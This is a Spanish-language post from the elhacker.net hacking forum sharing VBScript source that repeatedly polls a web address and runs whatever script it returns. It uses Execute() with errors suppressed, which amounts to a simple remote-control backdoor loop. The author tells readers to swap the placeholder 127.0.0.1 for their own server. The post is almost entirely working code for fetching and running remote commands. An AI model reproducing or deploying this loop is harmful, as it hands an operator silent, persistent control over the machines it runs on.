Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: daryo en 26 Abril 2014, 22:51 pm



Título: [vbs][source] ejecuta script de forma remota
Publicado por: daryo en 26 Abril 2014, 22:51 pm
tuve un pequeño problema con la cache de internet explorer pero ya esta solucionado  :D.
la ubicacion del script debe cambiarse en http://127.0.0.1/?l= por http:/direccion/?l=
Código
  1. Function anticache() ' al parecer usa la cache de internet explorer , de esta forma hago se actualize
  2. anticache=day(date())&Month(Date())&Year(date())&Hour(time())&Minute(Time())&Second(Time()) &Rnd ' en una sola cadena mete el dia,mes,año,hora,minuto,segundos y un numero aleatorio
  3. End Function
  4.  
  5. Function supertest() ' esta funcion descarga el script
  6. dim resultado,magik,daryo
  7. set magik=CreateObject("MSXML2.XMLHTTP")
  8. magik.open "GET" , "http://127.0.0.1/?l=" & anticache ,false  
  9. magik.send
  10. supertest = magik.ResponseText
  11. End Function
  12.  
  13. dim prueba1,prueba2,x ' pude usar un array pero asi tambien funciona xD
  14. x=1
  15. while true
  16. if x= 1 Then
  17. prueba1=supertest ' descarga el contenido de la web , que debe ser un script en vbs y lo mete en la variable prueba1
  18. x=0
  19. else
  20. prueba2=supertest
  21. x=1
  22. End If
  23. if not(prueba1 = prueba2) then ' esto determina si el comando ha cambiado desde la ultima vez que lo ejecuto
  24. On ERROR Resume Next
  25. Execute(supertest) ' ejecuta la cadena supertest
  26. End IF
  27. Wscript.sleep 700 ' no quiero sobrecargar el servidor
  28.  
  29. wend